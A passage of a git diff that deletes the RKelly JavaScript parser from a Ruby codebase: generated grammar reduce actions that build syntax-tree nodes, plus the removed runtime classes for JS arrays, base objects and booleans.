_reduce_68(val, _values, result) - result = FunctionCallNode.new(val[0], val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 178) - def _reduce_69(val, _values, result) - result = BracketAccessorNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 179) - def _reduce_70(val, _values, result) - result = DotAccessorNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 183) - def _reduce_71(val, _values, result) - result = FunctionCallNode.new(val[0], val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 184) - def _reduce_72(val, _values, result) - result = FunctionCallNode.new(val[0], val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 185) - def _reduce_73(val, _values, result) - result = BracketAccessorNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 186) - def _reduce_74(val, _values, result) - result = DotAccessorNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 190) - def _reduce_75(val, _values, result) - result = ArgumentsNode.new([]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 191) - def _reduce_76(val, _values, result) - result = ArgumentsNode.new(val[1]); - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 195) - def _reduce_77(val, _values, result) - result = val - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 196) - def _reduce_78(val, _values, result) - result = [val[0], val[2]].flatten - result - end -.,., - -# reduce 79 omitted - -# reduce 80 omitted - -# reduce 81 omitted - -# reduce 82 omitted - -# reduce 83 omitted - -module_eval(<<'.,.,', 'parser.y', 211) - def _reduce_84(val, _values, result) - result = PostfixNode.new(val[0], '++') - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 212) - def _reduce_85(val, _values, result) - result = PostfixNode.new(val[0], '--') - result - end -.,., - -# reduce 86 omitted - -module_eval(<<'.,.,', 'parser.y', 217) - def _reduce_87(val, _values, result) - result = PostfixNode.new(val[0], '++') - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 218) - def _reduce_88(val, _values, result) - result = PostfixNode.new(val[0], '--') - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 222) - def _reduce_89(val, _values, result) - result = DeleteNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 223) - def _reduce_90(val, _values, result) - result = VoidNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 224) - def _reduce_91(val, _values, result) - result = TypeOfNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 225) - def _reduce_92(val, _values, result) - result = PrefixNode.new(val[1], '++') - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 228) - def _reduce_93(val, _values, result) - result = PrefixNode.new(val[1], '--') - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 231) - def _reduce_94(val, _values, result) - result = UnaryPlusNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 232) - def _reduce_95(val, _values, result) - result = UnaryMinusNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 233) - def _reduce_96(val, _values, result) - result = BitwiseNotNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 234) - def _reduce_97(val, _values, result) - result = LogicalNotNode.new(val[1]) - result - end -.,., - -# reduce 98 omitted - -# reduce 99 omitted - -# reduce 100 omitted - -# reduce 101 omitted - -# reduce 102 omitted - -module_eval(<<'.,.,', 'parser.y', 249) - def _reduce_103(val, _values, result) - result = MultiplyNode.new(val[0],val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 250) - def _reduce_104(val, _values, result) - result = DivideNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 251) - def _reduce_105(val, _values, result) - result = ModulusNode.new(val[0], val[2]) - result - end -.,., - -# reduce 106 omitted - -module_eval(<<'.,.,', 'parser.y', 256) - def _reduce_107(val, _values, result) - result = MultiplyNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 257) - def _reduce_108(val, _values, result) - result = DivideNode.new(val[0],val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 258) - def _reduce_109(val, _values, result) - result = ModulusNode.new(val[0], val[2]) - result - end -.,., - -# reduce 110 omitted - -module_eval(<<'.,.,', 'parser.y', 263) - def _reduce_111(val, _values, result) - result = AddNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 264) - def _reduce_112(val, _values, result) - result = SubtractNode.new(val[0], val[2]) - result - end -.,., - -# reduce 113 omitted - -module_eval(<<'.,.,', 'parser.y', 269) - def _reduce_114(val, _values, result) - result = AddNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 270) - def _reduce_115(val, _values, result) - result = SubtractNode.new(val[0], val[2]) - result - end -.,., - -# reduce 116 omitted - -module_eval(<<'.,.,', 'parser.y', 275) - def _reduce_117(val, _values, result) - result = LeftShiftNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 276) - def _reduce_118(val, _values, result) - result = RightShiftNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 277) - def _reduce_119(val, _values, result) - result = UnsignedRightShiftNode.new(val[0], val[2]) - result - end -.,., - -# reduce 120 omitted - -module_eval(<<'.,.,', 'parser.y', 282) - def _reduce_121(val, _values, result) - result = LeftShiftNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 283) - def _reduce_122(val, _values, result) - result = RightShiftNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 284) - def _reduce_123(val, _values, result) - result = UnsignedRightShiftNode.new(val[0], val[2]) - result - end -.,., - -# reduce 124 omitted - -module_eval(<<'.,.,', 'parser.y', 289) - def _reduce_125(val, _values, result) - result = LessNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 290) - def _reduce_126(val, _values, result) - result = GreaterNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 291) - def _reduce_127(val, _values, result) - result = LessOrEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 292) - def _reduce_128(val, _values, result) - result = GreaterOrEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 293) - def _reduce_129(val, _values, result) - result = InstanceOfNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 294) - def _reduce_130(val, _values, result) - result = InNode.new(val[0], val[2]) - result - end -.,., - -# reduce 131 omitted - -module_eval(<<'.,.,', 'parser.y', 299) - def _reduce_132(val, _values, result) - result = LessNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 300) - def _reduce_133(val, _values, result) - result = GreaterNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 301) - def _reduce_134(val, _values, result) - result = LessOrEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 302) - def _reduce_135(val, _values, result) - result = GreaterOrEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 304) - def _reduce_136(val, _values, result) - result = InstanceOfNode.new(val[0], val[2]) - result - end -.,., - -# reduce 137 omitted - -module_eval(<<'.,.,', 'parser.y', 309) - def _reduce_138(val, _values, result) - result = LessNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 310) - def _reduce_139(val, _values, result) - result = GreaterNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 311) - def _reduce_140(val, _values, result) - result = LessOrEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 312) - def _reduce_141(val, _values, result) - result = GreaterOrEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 314) - def _reduce_142(val, _values, result) - result = InstanceOfNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 315) - def _reduce_143(val, _values, result) - result = InNode.new(val[0], val[2]) - result - end -.,., - -# reduce 144 omitted - -module_eval(<<'.,.,', 'parser.y', 320) - def _reduce_145(val, _values, result) - result = EqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 321) - def _reduce_146(val, _values, result) - result = NotEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 322) - def _reduce_147(val, _values, result) - result = StrictEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 323) - def _reduce_148(val, _values, result) - result = NotStrictEqualNode.new(val[0], val[2]) - result - end -.,., - -# reduce 149 omitted - -module_eval(<<'.,.,', 'parser.y', 329) - def _reduce_150(val, _values, result) - result = EqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 331) - def _reduce_151(val, _values, result) - result = NotEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 333) - def _reduce_152(val, _values, result) - result = StrictEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 335) - def _reduce_153(val, _values, result) - result = NotStrictEqualNode.new(val[0], val[2]) - result - end -.,., - -# reduce 154 omitted - -module_eval(<<'.,.,', 'parser.y', 341) - def _reduce_155(val, _values, result) - result = EqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 342) - def _reduce_156(val, _values, result) - result = NotEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 344) - def _reduce_157(val, _values, result) - result = StrictEqualNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 346) - def _reduce_158(val, _values, result) - result = NotStrictEqualNode.new(val[0], val[2]) - result - end -.,., - -# reduce 159 omitted - -module_eval(<<'.,.,', 'parser.y', 351) - def _reduce_160(val, _values, result) - result = BitAndNode.new(val[0], val[2]) - result - end -.,., - -# reduce 161 omitted - -module_eval(<<'.,.,', 'parser.y', 357) - def _reduce_162(val, _values, result) - result = BitAndNode.new(val[0], val[2]) - result - end -.,., - -# reduce 163 omitted - -module_eval(<<'.,.,', 'parser.y', 362) - def _reduce_164(val, _values, result) - result = BitAndNode.new(val[0], val[2]) - result - end -.,., - -# reduce 165 omitted - -module_eval(<<'.,.,', 'parser.y', 367) - def _reduce_166(val, _values, result) - result = BitXOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 167 omitted - -module_eval(<<'.,.,', 'parser.y', 373) - def _reduce_168(val, _values, result) - result = BitXOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 169 omitted - -module_eval(<<'.,.,', 'parser.y', 379) - def _reduce_170(val, _values, result) - result = BitXOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 171 omitted - -module_eval(<<'.,.,', 'parser.y', 384) - def _reduce_172(val, _values, result) - result = BitOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 173 omitted - -module_eval(<<'.,.,', 'parser.y', 390) - def _reduce_174(val, _values, result) - result = BitOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 175 omitted - -module_eval(<<'.,.,', 'parser.y', 396) - def _reduce_176(val, _values, result) - result = BitOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 177 omitted - -module_eval(<<'.,.,', 'parser.y', 401) - def _reduce_178(val, _values, result) - result = LogicalAndNode.new(val[0], val[2]) - result - end -.,., - -# reduce 179 omitted - -module_eval(<<'.,.,', 'parser.y', 407) - def _reduce_180(val, _values, result) - result = LogicalAndNode.new(val[0], val[2]) - result - end -.,., - -# reduce 181 omitted - -module_eval(<<'.,.,', 'parser.y', 413) - def _reduce_182(val, _values, result) - result = LogicalAndNode.new(val[0], val[2]) - result - end -.,., - -# reduce 183 omitted - -module_eval(<<'.,.,', 'parser.y', 418) - def _reduce_184(val, _values, result) - result = LogicalOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 185 omitted - -module_eval(<<'.,.,', 'parser.y', 424) - def _reduce_186(val, _values, result) - result = LogicalOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 187 omitted - -module_eval(<<'.,.,', 'parser.y', 429) - def _reduce_188(val, _values, result) - result = LogicalOrNode.new(val[0], val[2]) - result - end -.,., - -# reduce 189 omitted - -module_eval(<<'.,.,', 'parser.y', 435) - def _reduce_190(val, _values, result) - result = ConditionalNode.new(val[0], val[2], val[4]) - - result - end -.,., - -# reduce 191 omitted - -module_eval(<<'.,.,', 'parser.y', 442) - def _reduce_192(val, _values, result) - result = ConditionalNode.new(val[0], val[2], val[4]) - - result - end -.,., - -# reduce 193 omitted - -module_eval(<<'.,.,', 'parser.y', 449) - def _reduce_194(val, _values, result) - result = ConditionalNode.new(val[0], val[2], val[4]) - - result - end -.,., - -# reduce 195 omitted - -module_eval(<<'.,.,', 'parser.y', 456) - def _reduce_196(val, _values, result) - result = val[1].new(val.first, val.last) - - result - end -.,., - -# reduce 197 omitted - -module_eval(<<'.,.,', 'parser.y', 463) - def _reduce_198(val, _values, result) - result = val[1].new(val.first, val.last) - - result - end -.,., - -# reduce 199 omitted - -module_eval(<<'.,.,', 'parser.y', 470) - def _reduce_200(val, _values, result) - result = val[1].new(val.first, val.last) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 475) - def _reduce_201(val, _values, result) - result = OpEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 476) - def _reduce_202(val, _values, result) - result = OpPlusEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 477) - def _reduce_203(val, _values, result) - result = OpMinusEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 478) - def _reduce_204(val, _values, result) - result = OpMultiplyEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 479) - def _reduce_205(val, _values, result) - result = OpDivideEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 480) - def _reduce_206(val, _values, result) - result = OpLShiftEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 481) - def _reduce_207(val, _values, result) - result = OpRShiftEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 482) - def _reduce_208(val, _values, result) - result = OpURShiftEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 483) - def _reduce_209(val, _values, result) - result = OpAndEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 484) - def _reduce_210(val, _values, result) - result = OpXOrEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 485) - def _reduce_211(val, _values, result) - result = OpOrEqualNode - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 486) - def _reduce_212(val, _values, result) - result = OpModEqualNode - result - end -.,., - -# reduce 213 omitted - -module_eval(<<'.,.,', 'parser.y', 491) - def _reduce_214(val, _values, result) - result = CommaNode.new(val[0], val[2]) - result - end -.,., - -# reduce 215 omitted - -module_eval(<<'.,.,', 'parser.y', 496) - def _reduce_216(val, _values, result) - result = CommaNode.new(val[0], val[2]) - result - end -.,., - -# reduce 217 omitted - -module_eval(<<'.,.,', 'parser.y', 501) - def _reduce_218(val, _values, result) - result = CommaNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 507) - def _reduce_219(val, _values, result) - result = BlockNode.new(val[1]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 514) - def _reduce_220(val, _values, result) - result = VarStatementNode.new(val[1]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 518) - def _reduce_221(val, _values, result) - result = VarStatementNode.new(val[1]) - debug(result) - yyabort unless allow_auto_semi?(val.last) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 525) - def _reduce_222(val, _values, result) - result = val - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 527) - def _reduce_223(val, _values, result) - result = [val.first, val.last].flatten - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 532) - def _reduce_224(val, _values, result) - result = val - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 534) - def _reduce_225(val, _values, result) - result = [val.first, val.last].flatten - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 539) - def _reduce_226(val, _values, result) - result = VarDeclNode.new(val.first, nil) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 540) - def _reduce_227(val, _values, result) - result = VarDeclNode.new(val.first, val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 544) - def _reduce_228(val, _values, result) - result = VarDeclNode.new(val[0],nil) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 545) - def _reduce_229(val, _values, result) - result = VarDeclNode.new(val[0], val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 550) - def _reduce_230(val, _values, result) - result = ConstStatementNode.new(val[1]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 554) - def _reduce_231(val, _values, result) - result = ConstStatementNode.new(val[1]) - debug(result) - yyerror unless allow_auto_semi?(val.last) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 561) - def _reduce_232(val, _values, result) - result = val - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 563) - def _reduce_233(val, _values, result) - result = [val.first, val.last].flatten - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 568) - def _reduce_234(val, _values, result) - result = VarDeclNode.new(val[0], nil, true) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 569) - def _reduce_235(val, _values, result) - result = VarDeclNode.new(val[0], val[1], true) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 573) - def _reduce_236(val, _values, result) - result = AssignExprNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 577) - def _reduce_237(val, _values, result) - result = AssignExprNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 581) - def _reduce_238(val, _values, result) - result = EmptyStatementNode.new(val[0]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 586) - def _reduce_239(val, _values, result) - result = ExpressionStatementNode.new(val.first) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 590) - def _reduce_240(val, _values, result) - result = ExpressionStatementNode.new(val.first) - debug(result) - raise RKelly::SyntaxError unless allow_auto_semi?(val.last) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 598) - def _reduce_241(val, _values, result) - result = IfNode.new(val[2], val[4]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 602) - def _reduce_242(val, _values, result) - result = IfNode.new(val[2], val[4], val[6]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 609) - def _reduce_243(val, _values, result) - result = DoWhileNode.new(val[1], val[4]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 613) - def _reduce_244(val, _values, result) - result = DoWhileNode.new(val[1], val[4]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 617) - def _reduce_245(val, _values, result) - result = WhileNode.new(val[2], val[4]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 621) - def _reduce_246(val, _values, result) - result = ForNode.new(val[2], val[4], val[6], val[8]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 626) - def _reduce_247(val, _values, result) - result = ForNode.new(VarStatementNode.new(val[3]), val[5], val[7], val[9]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 630) - def _reduce_248(val, _values, result) - #yyabort if (!n.isLocation()) - result = ForInNode.new(val[2], val[4], val[6]) - debug(result); - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 635) - def _reduce_249(val, _values, result) - result = ForInNode.new( - VarDeclNode.new(val[3], nil), val[5], val[7]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 640) - def _reduce_250(val, _values, result) - result = ForInNode.new( - VarDeclNode.new(val[3], val[4]), val[6], val[8] - ) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 648) - def _reduce_251(val, _values, result) - result = nil - result - end -.,., - -# reduce 252 omitted - -module_eval(<<'.,.,', 'parser.y', 653) - def _reduce_253(val, _values, result) - result = nil - result - end -.,., - -# reduce 254 omitted - -module_eval(<<'.,.,', 'parser.y', 659) - def _reduce_255(val, _values, result) - result = ContinueNode.new(nil) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 663) - def _reduce_256(val, _values, result) - result = ContinueNode.new(nil) - debug(result) - yyabort unless allow_auto_semi?(val[1]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 668) - def _reduce_257(val, _values, result) - result = ContinueNode.new(val[1]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 672) - def _reduce_258(val, _values, result) - result = ContinueNode.new(val[1]) - debug(result) - yyabort unless allow_auto_semi?(val[2]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 680) - def _reduce_259(val, _values, result) - result = BreakNode.new(nil) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 684) - def _reduce_260(val, _values, result) - result = BreakNode.new(nil) - debug(result) - yyabort unless allow_auto_semi?(val[1]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 689) - def _reduce_261(val, _values, result) - result = BreakNode.new(val[1]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 693) - def _reduce_262(val, _values, result) - result = BreakNode.new(val[1]) - debug(result) - yyabort unless allow_auto_semi?(val[2]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 701) - def _reduce_263(val, _values, result) - result = ReturnNode.new(nil) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 705) - def _reduce_264(val, _values, result) - result = ReturnNode.new(nil) - debug(result) - yyabort unless allow_auto_semi?(val[1]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 710) - def _reduce_265(val, _values, result) - result = ReturnNode.new(val[1]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 714) - def _reduce_266(val, _values, result) - result = ReturnNode.new(val[1]) - debug(result) - yyabort unless allow_auto_semi?(val[2]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 722) - def _reduce_267(val, _values, result) - result = WithNode.new(val[2], val[4]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 729) - def _reduce_268(val, _values, result) - result = SwitchNode.new(val[2], val[4]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 735) - def _reduce_269(val, _values, result) - result = CaseBlockNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 737) - def _reduce_270(val, _values, result) - result = CaseBlockNode.new([val[1], val[2], val[3]].flatten) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 742) - def _reduce_271(val, _values, result) - result = [] - result - end -.,., - -# reduce 272 omitted - -module_eval(<<'.,.,', 'parser.y', 747) - def _reduce_273(val, _values, result) - result = val - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 748) - def _reduce_274(val, _values, result) - result = val.flatten - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 753) - def _reduce_275(val, _values, result) - result = CaseClauseNode.new(val[1], val[3]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 759) - def _reduce_276(val, _values, result) - result = CaseClauseNode.new(nil, val[2]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 764) - def _reduce_277(val, _values, result) - result = LabelNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 769) - def _reduce_278(val, _values, result) - result = ThrowNode.new(val[1]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 773) - def _reduce_279(val, _values, result) - result = ThrowNode.new(val[1]) - debug(result) - yyabort unless allow_auto_semi?(val[2]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 781) - def _reduce_280(val, _values, result) - result = TryNode.new(val[1], nil, nil, val[3]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 785) - def _reduce_281(val, _values, result) - result = TryNode.new(val[1], val[4], val[6]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 789) - def _reduce_282(val, _values, result) - result = TryNode.new(val[1], val[4], val[6], val[8]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 796) - def _reduce_283(val, _values, result) - result = EmptyStatementNode.new(val[0]) - debug(result) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 800) - def _reduce_284(val, _values, result) - result = EmptyStatementNode.new(val[0]) - debug(result) - yyabort unless allow_auto_semi?(val[1]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 808) - def _reduce_285(val, _values, result) - result = FunctionDeclNode.new(val[1], val[5]) - debug(val[5]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 812) - def _reduce_286(val, _values, result) - result = FunctionDeclNode.new(val[1], val[6], val[3]) - debug(val[6]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 819) - def _reduce_287(val, _values, result) - result = FunctionExprNode.new(val[0], val[4]) - debug(val[4]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 823) - def _reduce_288(val, _values, result) - result = FunctionExprNode.new(val[0], val[5], val[2]) - debug(val[5]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 827) - def _reduce_289(val, _values, result) - result = FunctionExprNode.new(val[1], val[5]) - debug(val[5]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 831) - def _reduce_290(val, _values, result) - result = FunctionExprNode.new(val[1], val[6], val[3]) - debug(val[6]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 837) - def _reduce_291(val, _values, result) - result = [ParameterNode.new(val[0])] - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 839) - def _reduce_292(val, _values, result) - result = [val.first, ParameterNode.new(val.last)].flatten - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 844) - def _reduce_293(val, _values, result) - result = FunctionBodyNode.new(val[0]) - result - end -.,., - -def _reduce_none(val, _values, result) - val[0] -end - - end # class GeneratedParser - end # module RKelly diff --git a/lib/rkelly/js.rb b/lib/rkelly/js.rb deleted file mode 100644 index 0660e307b8..0000000000 --- a/lib/rkelly/js.rb +++ /dev/null @@ -1,14 +0,0 @@ -require 'rkelly/js/nan' -require 'rkelly/js/property' -require 'rkelly/js/base' -require 'rkelly/js/global_object' -require 'rkelly/js/object' -require 'rkelly/js/object_prototype' -require 'rkelly/js/function_prototype' -require 'rkelly/js/array' -require 'rkelly/js/boolean' -require 'rkelly/js/math' -require 'rkelly/js/number' -require 'rkelly/js/string' -require 'rkelly/js/scope' -require 'rkelly/js/function' diff --git a/lib/rkelly/js/array.rb b/lib/rkelly/js/array.rb deleted file mode 100644 index 054b69c13d..0000000000 --- a/lib/rkelly/js/array.rb +++ /dev/null @@ -1,15 +0,0 @@ -module RKelly - module JS - class Array < Base - class << self - def create(*args) - self.new(*args) - end - end - - def initialize(*args) - super() - end - end - end -end diff --git a/lib/rkelly/js/base.rb b/lib/rkelly/js/base.rb deleted file mode 100644 index 796fb2c870..0000000000 --- a/lib/rkelly/js/base.rb +++ /dev/null @@ -1,91 +0,0 @@ -module RKelly - module JS - class Base - attr_reader :properties, :return, :value - def initialize - @properties = Hash.new { |h,k| - h[k] = Property.new(k, :undefined, self) - } - @return = nil - @returned = false - @value = self - self['Class'] = self.class.to_s.split('::').last - end - - def [](name) - return self.properties[name] if has_property?(name) - if self.properties['prototype'].value != :undefined - self.properties['prototype'].value[name] - else - RKelly::Runtime::UNDEFINED - end - end - - def []=(name, value) - return unless can_put?(name) - if has_property?(name) - self.properties[name].value = value - else - self.properties[name] = Property.new(name, value, self) - end - end - - def can_put?(name) - if !has_property?(name) - return true if self.properties['prototype'].nil? - return true if self.properties['prototype'].value.nil? - return true if self.properties['prototype'].value == :undefined - return self.properties['prototype'].value.can_put?(name) - end - !self.properties[name].read_only? - end - - def has_property?(name) - return true if self.properties.has_key?(name) - return false if self.properties['prototype'].nil? - return false if self.properties['prototype'].value.nil? - return false if self.properties['prototype'].value == :undefined - self.properties['prototype'].value.has_property?(name) - end - - def delete(name) - return true unless has_property?(name) - return false if self.properties[name].dont_delete? - self.properties.delete(name) - true - end - - def default_value(hint) - case hint - when 'Number' - value_of = self['valueOf'] - if value_of.function || value_of.value.is_a?(RKelly::JS::Function) - return value_of - end - to_string = self['toString'] - if to_string.function || to_string.value.is_a?(RKelly::JS::Function) - return to_string - end - end - end - - def return=(value) - @returned = true - @return = value - end - - def returned?; @returned; end - - private - def unbound_method(name, object_id = nil, &block) - name = "#{name}_#{self.class.to_s.split('::').last}_#{object_id}" - unless RKelly::JS::Base.instance_methods.include?(name.to_sym) - RKelly::JS::Base.class_eval do - define_method(name, &block) - end - end - RKelly::JS::Base.instance_method(name) - end - end - end -end diff --git a/lib/rkelly/js/boolean.rb b/lib/rkelly/js/boolean.rb deleted file mode 100644 index 2a78aa9721..0000000000 --- a/lib/rkelly/js/boolean.rb +++ /dev/null @@ -1,21 +0,0 @@ -module RKelly - module JS - class Boolean < Base - class << self - def create(*args) - return false if args.length == 0 - self.new(args.first) - end - end - def initialize(*args) - super() - value = args.first.nil? ? false : args.first - self['valueOf'] = value - self['valueOf'].function = lambda { - 